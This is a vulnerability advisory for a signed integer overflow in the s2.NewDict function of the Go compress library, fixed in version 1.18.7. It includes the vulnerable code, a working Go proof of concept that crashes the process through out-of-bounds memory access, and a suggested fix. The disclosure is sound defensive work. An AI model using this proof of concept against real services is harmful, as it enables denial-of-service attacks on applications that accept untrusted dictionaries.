github.com/klauspost/compress
Affected
- introduced
0, fixed1.18.7(semver)
Fixed versions
1.18.7
Fix
- Fixed version
1.18.7go get github.com/klauspost/[email protected]
Advisory
Also known as: CVE-2026-63209, GO-2026-5841
Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress
Signed Integer Overflow in s2.NewDict
Summary
A signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV.
Package
github.com/klauspost/compress/s2NewDict function)Severity
High (7.5) — CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Vulnerability
Type
Description
The NewDict() function reads a uvarint from dictionary data and converts it to int:
r, n := binary.Uvarint(dict)
// ...
d.repeat = int(r)
if d.repeat > len(dict) {
return nil
}
When r exceeds MaxInt64 (9223372036854775807), int(r) overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.
When Dict.Encode() is called, the negative repeat value causes an integer overflow in encodeBlockDictGo():
repeat := len(dict.dict) - dict.repeat // overflows: 62 - (-5758978476775341977) = huge positive
candidate := len(dict.dict) - repeat + s // underflows to negative
load32(dict.dict, candidate) // OOB via unsafe.Pointer
load32 calls le.Load32 which uses unsafe.Pointer arithmetic without bounds checking:
func Load32[I Indexer](b []byte, i I) uint32 {
return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))
}
This causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.
PoC
package main
import (
"encoding/binary"
"fmt"
"github.com/klauspost/compress/s2"
)
func main() {
var dictData []byte
buf := make([]byte, binary.MaxVarintLen64)
n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64
dictData = append(dictData, buf[:n]...)
dictData = append(dictData, make([]byte, 16)...) // minimum dict size
dict := s2.NewDict(dictData)
// dict is non-nil despite invalid repeat value (overflow bypassed validation)
src := make([]byte, 64)
for i := range src { src[i] = byte(i) }
dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer
}
Impact
Attack Vector
Any application that:
s2.NewDict()Dict.Encode() on any data ≥32 bytesSuggested Fix
Validate the uvarint value before converting to int:
if r > math.MaxInt64 {
return nil
}
d.repeat = int(r)
Or use uint for the repeat field and validate against uint(len(dict)).
References
s2/dict.go lines 59-61 (vulnerability), s2/encode_all.go line 947 (crash site)Credits
Christopher Linke / https://github.com/celinke97/
High Basis: The source's own band: HIGH
0, fixed 1.18.7 (semver)1.18.7
1.18.7go get github.com/klauspost/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0